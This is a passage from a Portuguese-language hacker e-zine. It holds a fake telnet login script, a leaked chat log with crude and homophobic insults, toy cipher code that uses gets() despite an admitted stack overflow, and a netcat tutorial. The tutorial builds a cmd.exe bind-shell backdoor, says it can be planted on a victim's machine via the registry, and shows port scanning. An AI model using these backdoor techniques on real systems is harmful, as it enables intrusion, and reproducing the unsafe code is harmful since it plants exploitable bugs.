que que voce faz? Desabilita o telnet? Não, voce usa meu script baby =) notepad \WINDOWS\system32\login.cmd -- > Abre ele ---- login.cmd ---- @echo off rem rem Script de login global padrao para Telnet Server rem rem Na instala‡ao padrao, este script de comandos ‚ executado rem quando o shell de comandos inicial ‚ chamado. Ele tenta rem entao chamar o script de logon do usu rio individual. rem rem set password=luzinha &ReM <-- Defina a senha aqui gente boa rem title Login Duplo v1.0 by 6_Bl4ck9_f0x6 & color a set password=luzinha :Star cls ECHO [FOX]=----------x----------x----------=[FOX] & ECHO. ECHO --X---- Login Duplo v1.0 ---x-- ECHO +BY+ ECHO 6_Bl4ck9_f0x6 & ECHO. ECHO +X+ I love luz* +X+ ECHO [FOX]=----------x----------x----------=[FOX] ECHO. set /p senha=Digite sua senha: if /I "%senha%" EQU "%password%" (goto start) else (goto Err) :Err msg * '%username%' a senha '%senha%' esta incorreta! Tente novamente & cls & goto Star :Start cls ECHO ==========X==========X==========X========== ECHO x PRONTO x ECHO ==========X==========X==========X========== pause & cls echo *=============================================================== echo Bem-vindo a Black Machine e tenha cuidado com o que faz echo *=============================================================== ---- cut here ---- Se quizerem, poderão inserir um esquema do login case e tudo mais eheh, basta tirar o /I da frente do comando mais manjado do mundo para controle de fluxo --> IF. O bom disso é que no momento que os caras tão tentando descobrir a senha, voce ta vendo as senhas que eles tão usando, 'em tempo real', isso ai é bom pra voce saber se o cara sabe o nome de sua namorada ou esposa rsrs ;-) Simples =). Adios main freuds ;] by 6_Bl4ck9_f0x6 [s] ----- C4p1Tul0 12 XxXxX============================XxXxX O Banimento nunca existiu XP XxXxX============================XxXxX Nota: 00:16 27/3/2010 Naao Briinque Coom um meestre PNWell. Bem, o moleque deve ter 18 anos agora, deve ta bem hackao ou desistido das coisas. Aqui eh o mesmo lance, to usando o ( para as coias que editei hoje ;) Starting.... [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 está na conversa. David diz: diz pro cloudy que tu num baniu ele David diz: diz (*****) David diz: ele ta achando agora David diz: eu tambem achava [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: O (*****) me baniu [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: (*****)* David diz: ? David diz: serio? David diz: e verdade (*****)? Você acabou de pedir a atenção. (*****) ¬¬ diz: nao David diz: o cloudy ta ficando doido (<--- Olha o jeitinho de bicha) David diz: lol David diz: da a senha do cara agora David diz: sacanagem isso ae David diz: http://www.hunterhacker.xpg.com.br/F.E.M.rar (<-- Esse da vergonha, pega a senha lah na page) David diz: lol David diz: cloudy David diz: trata de baixar meu video ae David diz: rsrsrs [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Aliás [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Eu tenho que falar com o (Viadinho) [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Ele disse que quer excluir meus "fakes" (HadeS, Fear e Amilly) David diz: filho da puta (<-- Repara na bichinha) [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: E disse que nao tem como passar os posts pro Cloudy ¬¬ (*****) ¬¬ diz: fdp nada, fakes nao pode David diz: ele num tem o direito de fazer isso com meu amiguinho pokemon (<-- Nao tira o olho da bicha) David diz: rsrsrsrs (*****) ¬¬ diz: bloqueamos o cloudy pq vc empresto a conta pro david (<-- Naquele tempo eu me achei por causa disso) [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Eu sei David diz: aff (<-- Acredito, tava quase chorando de emocao) David diz: ei galera (*****) ¬¬ diz: entao David diz: vamos falar da...... David diz: LUZINHA? David diz: hauhaua David diz: estou apaixonado (<--- Verdade neh Luh, lembra que mentia pra kralho?) David diz: rsrsrs David diz: da o canto devolta pra ele (*****) (<-- Se nao David mandar deface) (*****) ¬¬ diz: envez de excluir seus fakes, só bloquear eles e deixar o cloudy livre resolve David diz: yes (<-- Doido pra publicar os logs) David diz: pelo menos isso [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Por mim pode excluir [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Mas passa os posts pro user Cloudy David diz: eu quero meu login outra vez no (blackhat-forums.com) ehhe, quero meu perfil David diz: rsrsrs (*****) ¬¬ diz: eu vou ver David diz: to com saudade do *** David diz: rsrsrsrrs David diz: amo aquele gato loco David diz: hauahuaha (*****) ¬¬ diz: saudade do rog pq se ele ta no invaders tbm ? (<-- M) David diz: la ele num reaje David diz: rsrsrs David diz: xingo ele e nada David diz: desistir David diz: rsrsrs David diz: Ei cloudy David diz: baixou o video porra!!! (<--- Bicha?) David diz: rsrsrs Você acabou de pedir a atenção. [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Pera ai (*****) ¬¬ diz: cloudy fica velho dia 7 de fevereiro (*****) ¬¬ diz: q meigo David diz: rsrsrs (*****) ¬¬ diz: :] David diz: vou postar isso na zine David diz: ei ei ei [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: É cara... David diz: vou publicar nossa conversa David diz: hauhauhha [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: 16 anos nas costas (<-- Desculpe, nao vou fazer contas) (*****) ¬¬ diz: quantos anos kra? David diz: vai ser legal David diz: hauhauha (*****) ¬¬ diz: só.. David diz: so David diz: num sabia naum (*****)? [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Graças a deus David diz: seu melhor usuario (<-- ) David diz: hauhauhauha (*****) ¬¬ diz: affzzz (*****) ¬¬ diz: cada boca David diz: EI cloudy David diz: 1 MB porra!! David diz: huahuahuha (<-- Tenho nojo dessa risadinha hoje) (*****) ¬¬ diz: eu sei a idade dele.. (*****) ¬¬ diz: ele disse nas costas (*****) ¬¬ diz: eu disse só David diz: Ei (*****) David diz: num ferra (*****) ¬¬ diz: pq tenho mto mais nas costas (<--- Isso eh verdade) (*****) ¬¬ diz: uhauhauahauhahuaaa David diz: Num foi voce que deu uma trepadinha David diz: Huahuahuaha David diz: a mina ta me chamando (<-- Tava na lan house lah em Quixada. Lembra da foto do perfil? ;) David diz: hauhauhah (*****) ¬¬ diz: uhauhauhauhUHAa (*****) ¬¬ diz: vai la David diz: galera David diz: vou publicar nossa conversa David diz: rsrsr David diz: pra mostrar que eu estava enganado com relacao ao banimento do cloudy (*****) ¬¬ diz: nem... David diz: fui... David diz: tenho uma pepitinha pra traçar (*****) ¬¬ diz: nem publique David diz: Ei cloudy David diz: cloudy Você acabou de pedir a atenção. David diz: Cloudy!!!!!!!!!!!! (Nao vou retirar isso aqui, eh pra voce aprender)3. [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Diga David diz: vou indo e meus parabens ae, que deus lhe de muitas invasoes (<-- E o pior eh que era soh farca, verdade =) David diz: hauhauhauh David diz: Deus David diz: hauhauha David diz: sacou? [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Hauhauhauhuahuahauhauha David diz: hauhauhauha David diz: Ei galera David diz: voces sabia que agora meu idolo e o BSDaemon? David diz: hauhuah David diz: decidi que vou ser melhor que ele Huahuahauh daqui a 10 anos eu consigo David diz: hauhauha David diz: xau pessoal [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Xauzin (*****) ¬¬ diz: adios.. Isso é o que eu chamo de uma BELA CAGADA!!! Não façam como eu fiz, não tirem conclusões precipitadas antes de analisar os fatos, caso contrario voce pode acabar como eu XP rsrs (Corno, fudido e sem minha mae). ----- C4p1Tul0 13 xXx=============================xXx Emperial Encripter xXx=============================xXx Eu sei o que vc's devem estar pensando. Tipo -> Esse maluco eh o maior sem imaginação, maluco vive botando nome de emperial num sei oq, enperial num sei das quantas, e tals. Mas eu não ligo para vc's :P. Enfim, os CODE's sao meus e por isso faz isso: -> Vaum ToMaR no cuh <- Esse algoritimo de criptografia eh baseado no mesmo algoritimo de Julio Cezar do emperio Romano, tipo, para enviar mensagens para a galera ele usava o método de subistituição, ou seja, um cripto-analista teria serios problemas caso ele ainda não tivesse conseguido textos decriptados =) O que? Nao sabe do que eu estou falando? Tipo, eu quiz dizer que é criptografia da boa! ===================================== Descriptografem essa mensagem: y[~ k) +E )A ;=~[ "79[ :=;;[U 5# ===================================== Agora vamos aos algoritimos como dizem os universitarios cheios de espirito hacku :P Ei ei ei, nao revisei o code naum galera, achu que quando eu usava alguns smiles dava pal, dae fiquei de sacu cheio de codar o cript e num testei mais naum, mas as letras ta deboa =) Pelo visto achu que vou ter que deixar algumas letras originais mesmo, por questões de compatibilidade e tals, mas não se preocupem, basta deixar as mensagens decriptadas longe das encriptadas por causa dos potentes -> S's -> Cripto-Analista <- ;) OBS: S's vem de Sangue sugas da porra!! :P No code do encript tem um bug de stack overflow...XP Usei o gets e tals, pois quem diabos vai perder tempo exploitando um bug num file desses? Afz hauhauh!! Mas tem doido pra tudo né.... :P ------ Emp_Encript.c ------ /* [XxX -> x]+===x==X==x===x+[x <- XxX] * *** Viper Corp *** * -> Obrigado a todos <- * [x <-> XxX]+===x==X==x===x+[XxX <-> x] * * Emperial Encripter [Emp_Encript.c] v0.1 * by * 6_Bl4ck9_f0x6 * * * Atenção: Esta é a ferramenta 'encriptadora', para * 'decriptar' voce precisa do -> Emp_Dcript.c <-- que * pode ser obtido em: * * http://www.hunterhacker.xpg.com.br/Emp_Dcript.c.diz * ou em * http://www.explinter.orgfree.com/Emp_Dcript.c.diz */ #include #include #include int banner (){ SetConsoleTitle ("Emperial Encripter by 6_Bl4ck9_f0x6"); char *banner[]={ "[=] + ==========[####]============ + [=]\n", " *** Emperial Encripter ***\n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->", "[=] + ==========[####]============ + [=]\n"}; printf ("%s%s%s%s\n\n", banner[0], banner[1], banner[2], banner[4]);} int main (void){ system ("cls"); banner (); FILE *output; output = fopen ("String's_encript.diz", "w"); if (!output){ perror ("Erro:"); fprintf (stderr, "\nNao consegui criar o arquivo\ com a(s) string(s) encriptada(s)\n"); exit (-1);} int i=0; char string_s[1000]; fprintf (stdout, "\nEntre com sua string\ [Max 9999 caracteres]:\n\n"); gets (string_s); for (i;string_s[i] != '\0';i++){ if (string_s[i] == 'A'){ string_s[i]='*';} else if (string_s[i] == 'a'){ string_s[i]='[';} else if (string_s[i] == 'B'){ string_s[i]='$';} else if (string_s[i] == 'b'){ string_s[i]='!';} else if (string_s[i] == 'C'){ string_s[i]='8';} else if (string_s[i] == 'c'){ string_s[i]='+';} else if (string_s[i] == 'D'){ string_s[i]='@';} else if (string_s[i] == 'd'){ string_s[i]='k';} else if (string_s[i] == 'E'){ string_s[i]='%';} else if (string_s[i] == 'e'){ string_s[i]=')';} else if (string_s[i] == 'F'){ string_s[i]='6';} else if (string_s[i] == 'f'){ string_s[i]='"';} else if (string_s[i] == 'G'){ string_s[i]='4';} else if (string_s[i] == 'g'){ string_s[i]='1';} else if (string_s[i] == 'H'){ string_s[i]='?';} else if (string_s[i] == 'h'){ string_s[i]='A';} else if (string_s[i] == 'I'){ string_s[i]='T';} else if (string_s[i] == 'i'){ string_s[i]='7';} else if (string_s[i] == 'J'){ string_s[i]='P';} else if (string_s[i] == 'j'){ string_s[i]='&';} else if (string_s[i] == 'L'){ string_s[i]='Z';} else if (string_s[i] == 'l'){ string_s[i]='~';} else if (string_s[i] == 'M'){ string_s[i]='y';} else if (string_s[i] == 'm'){ string_s[i]='{';} else if (string_s[i] == 'N'){ string_s[i]='q';} else if (string_s[i] == 'n'){ string_s[i]='9';} else if (string_s[i] == 'O'){ string_s[i]='^';} else if (string_s[i] == 'o'){ string_s[i]='=';} else if (string_s[i] == 'P'){ string_s[i]='#';} else if (string_s[i] == 'p'){ string_s[i]=':';} else if (string_s[i] == 'Q'){ string_s[i]='-';} else if (string_s[i] == 'q'){ string_s[i]=']';} else if (string_s[i] == 'R'){ string_s[i]='F';} else if (string_s[i] == 'r'){ string_s[i]=';';} else if (string_s[i] == 'S'){ string_s[i]='2';} else if (string_s[i] == 's'){ string_s[i]='h';} else if (string_s[i] == 'T'){ string_s[i]='.';} else if (string_s[i] == 't'){ string_s[i]=',';} else if (string_s[i] == 'U'){ string_s[i]='3';} else if (string_s[i] == 'u'){ string_s[i]='E';} else if (string_s[i] == 'V'){ string_s[i]='<';} else if (string_s[i] == 'v'){ string_s[i]='|';} else if (string_s[i] == 'W'){ string_s[i]='Y';} else if (string_s[i] == 'w'){ string_s[i]='X';} else if (string_s[i] == 'X'){ string_s[i]='G';} else if (string_s[i] == 'x'){ string_s[i]='5';} else if (string_s[i] == 'Y'){ string_s[i]='/';} else if (string_s[i] == 'y'){ string_s[i]='}';} else if (string_s[i] == 'Z'){ string_s[i]='n';} else if (string_s[i] == 'z'){ string_s[i]='I';} else if (string_s[i] == '!'){ string_s[i]='U';} else if (string_s[i] == ','){ string_s[i]='D';} else if (string_s[i] == '.'){ string_s[i]='L';} } fprintf (output, "%s", string_s); fclose (output); system ("cls"); banner(); fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n"); puts ("String(s) encriptada(s) com sucesso!\n"); system ("pause"); return (0);} --- cute nessa porra Here! --- Ai vai o Dcripter minha gente, ei ei ei, vale lembrar ai pra voces que essas são minhas subistituições... voces podem... ou melhor, devem fazer! suas proprias, não usem o default, pois pode existir outros leitores da zine que podem ser seus conhecidos no orkut e tals, dai eles podem decriptar suas msg's, por isso -> Faça seu proprio algoritimo baseado no meu e no do Julio Cezar do Emperio Romano =) --- Emp_Dcript.c --- /* [XxX -> x]+===x==X==x===x+[x <- XxX] * *** Viper Corp *** * -> Obrigado a todos <- * [x <-> XxX]+===x==X==x===x+[XxX <-> x] * * Emperial Encripter [Emp_Dcript.c] v0.1 * by * 6_Bl4ck9_f0x6 * * * Atenção: Esta é a ferramenta 'decriptadora', para * 'encriptar' voce precisa do -> Emp_Encript.c <- que * pode ser obtido em: * * http://www.hunterhacker.xpg.com.br/Emp_Encript.c.diz * ou em * http://www.explinter.orgfree.com/Emp_Encript.c.diz */ #include #include int banner (){ char *banner[]={ "[=] + ==========[####]============ + [=]\n", " *** Emperial Encripter ***\n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->", "[=] + ==========[####]============ + [=]\n"}; printf ("%s%s%s%s\n\n", banner[0], banner[1], banner[2], banner[4]);} int main (int argc, char *argv[]){ system ("cls"); banner (); if ( (argc < 3) || (argc > 3) ){ fprintf (stderr, "Uso: %s \n", argv[0]); exit (0);} char reader; FILE *input; FILE *output; if ((input = fopen (argv[1], "r")) == NULL){ perror ("Erro"); fprintf (stderr, "\nNao consegui abrir o \ arquivo -> %s <- para leitura\n", argv[1]); exit (-1);} else if ((output = fopen (argv[2], "w")) == NULL){ fprintf (stderr, "\nNao consegui escrever \ a saida decriptada no arquivo -> %s <-\n", argv[2]); exit (-1);} while ((reader = getc (input) ) != EOF){ if (reader == '*'){ reader='A';} else if (reader == '['){ reader='a';} else if (reader == '$'){ reader='B';} else if (reader == '!'){ reader='b';} else if (reader == '8'){ reader='C';} else if (reader == '+'){ reader='c';} else if (reader == '@'){ reader='D';} else if (reader == 'k'){ reader='d';} else if (reader == '%'){ reader='E';} else if (reader == ')'){ reader='e';} else if (reader == '6'){ reader='F';} else if (reader == '"'){ reader='f';} else if (reader == '4'){ reader='G';} else if (reader == '1'){ reader='g';} else if (reader == '?'){ reader='H';} else if (reader == 'A'){ reader='h';} else if (reader == 'T'){ reader='I';} else if (reader == '7'){ reader='i';} else if (reader == 'P'){ reader='J';} else if (reader == '&'){ reader='j';} else if (reader == 'Z'){ reader='L';} else if (reader == '~'){ reader='l';} else if (reader == 'y'){ reader='M';} else if (reader == '{'){ reader='m';} else if (reader == 'q'){ reader='N';} else if (reader == '9'){ reader='n';} else if (reader == '^'){ reader='O';} else if (reader == '='){ reader='o';} else if (reader == '#'){ reader='P';} else if (reader == ':'){ reader='p';} else if (reader == '-'){ reader='Q';} else if (reader == ']'){ reader='q';} else if (reader == 'F'){ reader='R';} else if (reader == ';'){ reader='r';} else if (reader == '2'){ reader='S';} else if (reader == 'h'){ reader='s';} else if (reader == '.'){ reader='T';} else if (reader == ','){ reader='t';} else if (reader == '3'){ reader='U';} else if (reader == 'E'){ reader='u';} else if (reader == '<'){ reader='V';} else if (reader == '|'){ reader='v';} else if (reader == 'Y'){ reader='W';} else if (reader == 'X'){ reader='w';} else if (reader == 'G'){ reader='X';} else if (reader == '5'){ reader='x';} else if (reader == '/'){ reader='Y';} else if (reader == '}'){ reader='y';} else if (reader == 'n'){ reader='Z';} else if (reader == 'I'){ reader='z';} else if (reader == 'U'){ reader='!';} else if (reader == '('){ reader=',';} else if (reader == 'L'){ reader='.';} else if (reader == 'D'){ reader=',';} putc (reader, output);} fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n"); puts ("String(s) decriptada(s) com sucesso!\n"); fclose (input); fclose (output); return (0);} -- end -- ----- C4p1Tul0 14 xXx=============================xXx The King of the Calculators xXx=============================xXx Hi! Estou trazendo mais uma calculadora maneira proces rsrs, já foi calc em batch e js, hoje vai rolar uma em C, aeee!!! Espero que gostem, pois passei uns 10 minutos fazendo essa porcaria, ei ei ei, a famosa função system ta na area e meu velho ingles de butiquim também XP, puta merda, dei uma americanizada totalmente vagabunda no code da calc, só pra deixar a parada mais maneira ^^. Todo mundo diz que o que é escrito em ingles tem mais valor porra hauhauah!!! Então vamos valorizar 10 min do meu precioso tempo, sou um homem muito ocupado rsrsr ^^ (Que mentira da porra!! Passo o dia sem fazer nada rsrs). --------- foxCalc.c --------- #include #include #include int divisao (int a, int b){ printf ("The result is: %d\n\a", (a / b)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int multiplicacao (int valor1, int valor2){ printf ("The result is: %d\n\a", (valor1 * valor2)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int subtracao (int valor1, int valor2){ printf ("The result is: %d\n\a", (valor1 - valor2)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int main () { int operation; Label: system ("cls"); system ("title Simple Calculator v0.1 Beta"); printf ("Simple Calculator v0.1 Beta by 6_Bl4ck9_f0x6\n\ Copyright 200*-2008 Viper Corp.\n\n\n"); printf ("======================================================\n"); printf ("Sintax:\n\n[+ = somar] [- = subtrair] [* = multiplicar] \ [/ = dividir]\n\n"); printf ("======================================================\n"); printf ("Write your operator:"); scanf ("%c", &operation); if (operation == '+') { int numberone, numbertwo; system ("cls"); printf ("This is your operator (+)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &numberone); printf ("Write secound number and press enter:"); scanf ("%d", &numbertwo); printf ("\n%d + %d = %d\n\n", numberone, numbertwo,(numberone + numbertwo)); printf ("Press Any Key For Exit..."); system ("pause > nul"); return (0); } else if (operation == '-') { int numberone, numbertwo; system ("cls"); printf ("This is your operator (-)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &numberone); printf ("Write secound number and press enter:"); scanf ("%d", &numbertwo); subtracao (numberone, numbertwo); return (0); } if (operation == '*') { system ("cls"); int operador1, operador2; printf ("This is your operator (*)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &operador1); printf ("Write secound number and press enter:"); scanf ("%d", &operador2); multiplicacao (operador1, operador2); return (0); } if (operation == '/') { int valor1, valor2; system ("cls"); printf ("This is your operator (/)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &valor1); printf ("Write secound number and press enter:"); scanf ("%d", &valor2); divisao (valor1, valor2); return (0); } else { system ("cls"); printf ("\n\nSorry your operator is invalid..."); Sleep (1000); goto Label; } return (0); } --------- cut --------- Eu acho que esqueci de alguma coisa, hum... [s] ----- C4p1Tul0 15 [+ ====================================== +] X=======xxXxx========X -> O Imortal Netcat <- X=======xxXxx========X [+ ====================================== + []==-----------------x-------X----------x-----------------------==[] Atenção: C voce "pensa" que manja tudo do netcat e esta louco para dizer que o assunto do texto ja ta mais manjado que arroz e feijão, gostaria de dizer uma coisa for you -> Esse texto naum é para voce amigo =) Ideia extract from zine f3-06: ==> ~~~ ( * ) To gozando no cu de voceis :P []==-----------------x-------X----------x-----------------------==[] Esse texto e todos os outros que eu vinher a escrever, serão dedicados a todos os escritores de textos que um dia cheguei a ler =) Um eterno aprendiz como eu nunca seria nada sem todos voces, na verdade ninguem seria nada sem ninguem, trocamos conhecimentos para evoluir juntos, ou (quase sempre) apenas exibir nossos conhecimentos sem a menor pretenção de ajudar o proximo, escrevendo txt's de dificil compreensão por parte dos iniciantes e de curiosos que poderiam vir a ser novos talentos no nosso mundo, ou undermundo, backmundo, foremundo =) Enfim, vamos começar a baixaria -.O. Na minha mais que sincera opinião, a melhor ferramenta manoh! Se eu pegar algum filho de uma * arromb4do dizendo que o netcat num presta, eu soco uma torradeira no * desse fdp.Cof! Cof! Desculpem a baixaria, agora to + calmo =) Voce pode fazer muuitas coisas com o netcat, quando digo muitas, eu quero dizer "muuuuitas" msm. Para um help digite nc -h, vou traduzir apenas as options que iremos utilizar, pois a intenção aqui é lhe da uma boa "base" do netcat ;) C:\>nc -h [v1.11 NT www.vulnwatch.org/netcat/] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, background mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] Baixem o netcat aqui: v1.11 NT http://www.hunterhacker.xpg.com.br/22.zip Voce pode entrar no diretorio dos arquivos do nc usando o 'cd', ou mesmo ajustar seu PATH para encontrar o diretorio do rapaz. Sem duvida uma das formas de utilização mais rapidas e menos cheias de frescura, é extrair para o system32 =) Ou seja, baixou -> extract for system32 ;) Ja que vc's viram o 'system32', isso significa que iremos utilizar qual OS? Aeee! Se vc respondeu -> win <- ganhou um beijinho imaginario (claro!) :P Mas... ainda nesse texto abordaremos a instalação e utilização do netcat em -> Unixes like <- da vida, pois como sempre, se tu começar no win, fica mais facil mecher nos -> Unixes like da vida <-, tipo, eu mostro a utilização no win e depois (que voces entenderem) é só adaptar pequenas coisinhas para o netcat funcionar nos -> Unixes like da vida <-, são pequenos detalhes como a opção '-L' (Ei <-- Isso é case =) que não rebindeia a porta apos a encerramento da conexão, porque os Unixes -> like da vida <- são muito fulero's, mas tambem tem a questao das portas no -> Unixes like da vida <-, porque abaixo de 1024 só root tem permissões para bindear uma porta. Eh amigo, o -> Unix like da vida <- é fogo =) Continuando... Vamos a algumas options traduzidas e adaptadas by me (:]) manoh! ======================================================== -d -> Com essa porra o netcat fica rodando em background. -e -> Posso manipular um program para que o user mecha quando ele der um TCP connect na door em listen. -l -> Abre uma porta, quando o maluco desconectar ela fica fechada -L -> TB Abre abre uma porta, mas dessa vez a porta vai reabrir após o closesocket do maluco. -n -> Só cata number's IP, nada de DNS baby ;) -p -> Determina qual a porta que será aberta -r -> Randomize local and remote ports -u -> UDP mode -v -> Verbose do capeta manoh! Usa ai o -vv -w -> Determina um tempo limite para duração de uma conexão -z -> Num deixa o netcat ficar conectado num scan ======================================================== Backdoor Vamos fazer uma backdoor com o netcat: C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe listening on [any] 666 ... ------------------------------------------------- Da um telnet nessa porta -> telnet 127.0.0.1 666 ------------------------------------------------- C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe listening on [any] 666 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1655 La no cliente: Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> Explicação: nc -L -p 666 -vv -e cmd.exe -> Manipulamos o shell que ja ta no PATH ;) <- | | | _ _ | | | | | + -> A tal da verbose para obtermos mais informações na action's | | | | | + ->Definimos que seria a porta '666' a aberta <- | | | + -> Abre a tal da porta, reabrindo a mesma depois do closesock <- | + -> Sempre usar 'nc' antes da sintaxe :] lol <- Rodando netcat na memoria Quando o server-side fecha a shell que ta recebendo a conexão, o cliente morre (dã), mas acho que isso ta na cara :P, para evitar isso foi criado a opção -d ;) nc -L -p 666 -d -e cmd.exe Sempre que o cliente conecta vai ter uma shell esperando ele =) Lembrando que até a vitima fazer logoff ou algo do tipo :P, mas voce pode iniciar o bicho na maquina usando o reg add e compilando um batch em aplicação fantasma. Para matar pegue a pid do garoto: C:\Documents and Settings\David>tasklist Nome da imagem Identi Nome da sessão Sessão# Uso de memór ========================= ====== ================ ======== ============ System Idle Process 0 Console 0 20 K System 4 Console 0 48 K smss.exe 680 Console 0 44 K csrss.exe 736 Console 0 1.100 K winlogon.exe 760 Console 0 2.912 K services.exe 808 Console 0 1.284 K lsass.exe 820 Console 0 1.320 K explorer.exe 260 Console 0 12.880 K HackerEliminator.exe 1164 Console 0 5.568 K ashDisp.exe 1212 Console 0 660 K msdtc.exe 1584 Console 0 56 K Abel.exe 1708 Console 0 48 K aswUpdSv.exe 1860 Console 0 52 K ashServ.exe 1900 Console 0 1.564 K inetinfo.exe 1960 Console 0 1.220 K PGPsdkServ.exe 1992 Console 0 1.020 K locator.exe 336 Console 0 28 K snmp.exe 376 Console 0 420 K tlntsvr.exe 548 Console 0 48 K wdfmgr.exe 592 Console 0 40 K winvnc4.exe 1376 Console 0 700 K vmnetdhcp.exe 824 Console 0 292 K cmd.exe 3268 Console 0 800 K nc.exe 3596 Console 0 1.812 K < ---- nc.exe 2764 Console 0 1.964 K < ---- tasklist.exe 3168 Console 0 4.684 K wmiprvse.exe 788 Console 0 3.980 K Achamos os processos pelas imagens (nc.exe) e temos suas PID's, vamos meter um unico tiro na's cabeça's dessa's porra's manoh! C:\Documents and Settings\David>taskkill /f /PID 3596 & taskkill /f /PID 2764 & echo Bang! ÊXITO: o processo com PID 3596 foi encerrado. ÊXITO: o processo com PID 2764 foi encerrado. Bang! -n -> Only Numerical :P (inglish vagabundo =) DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2256 --> Sem -n <-- C:\Documents and Settings\David>nc -L -n -p 666 -vv -e cmd.exe listening on [any] 666 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1760 --> Com o -n <-- ------ > Engraçadamente netcat < ------ Isso ae é baum proces zuarem com seus manow's: --- sangue_baum.bat --- @echo off :Magic set Magic_word=Queijo set /p palavra_magica=Digite a palavra magica ai manoh: if /I %palavra_magica% EQU %Magic_word% ( exit ) ELSE ( echo Esta Magic_word esta... Errada!! =] & pause) goto :Magic --- cut nessa porra here =) --- C:\Documents and Settings\David>nc -L -p 789 -vv -e \sangue_baum.bat listening on [any] 789 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1807 Cliente: Digite a palavra magica ai manoh: < ---- hauhauha!!! ------ > Varrendo hosts com o netcat < ------ C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-22 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 21 (ftp) open localhost [127.0.0.1] 20 (ftp-data): connection refused sent 0, rcvd 0: NOTSOCK To varrendo da porta 22 a porta 20 do meu addr de loopback, regredindo manoh. O '-z' foi usado ai pro netcat num parar na porta de algum serviço, ou seja, assim ele conecta e desconecta. Sem o '-z': C:\Documents and Settings\David>nc -vv 127.0.0.1 20-22 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 22 (?): connection refused localhost [127.0.0.1] 21 (ftp) open 220-Microsoft FTP Service ========================= Bem vindo ao Machinered 220 ========================= Sacou manoh!? Usei duas verboses ai para obter mais informações sobre o scan. Se quizermos obter na shell, a saida somente com portas abertas no host varrido, utilizamos apenas uma verbose: C:\Documents and Settings\David>nc -z -v 127.0.0.1 10-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] 25 (smtp) open localhost [127.0.0.1] 23 (telnet) open localhost [127.0.0.1] 21 (ftp) open Very easy! Mas para a galerinha que ta começando é sempre bom ver o nome dos protocolos e as suas respectivas portas "padrões", por isso não recomento o uso de uma verbose por parte dos iniciantes =) -------- > Com o -n < -------- (UNKNOWN) [127.0.0.1] 22 (?): connection refused (UNKNOWN) [127.0.0.1] 21 (?) open (UNKNOWN) [127.0.0.1] 20 (?): connection refused sent 0, rcvd 0: NOTSOCK Repara aqui manoh! -> 21 (?) <- O netcat num mostrar nem o nome do serviço, quando vc ta usando a opt -n :P -------- > Sem o -r < -------- C:\Documents and Settings\David>nc -z -vv 127.0.0.1 20-25 DNS fwd/rev mismatch: localhost != Violator localhost [127.0.0.1] -> 25 <- (smtp): connection refused localhost [127.0.0.1] -> 24 <- (?): connection refused localhost [127.0.0.1] -> 23 <- (telnet) open localhost [127.0.0.1] -> 22 <- (?): connection refused localhost [127.0.0.1] -> 21 <- (ftp) open localhost [127.0.0.1] -> 20 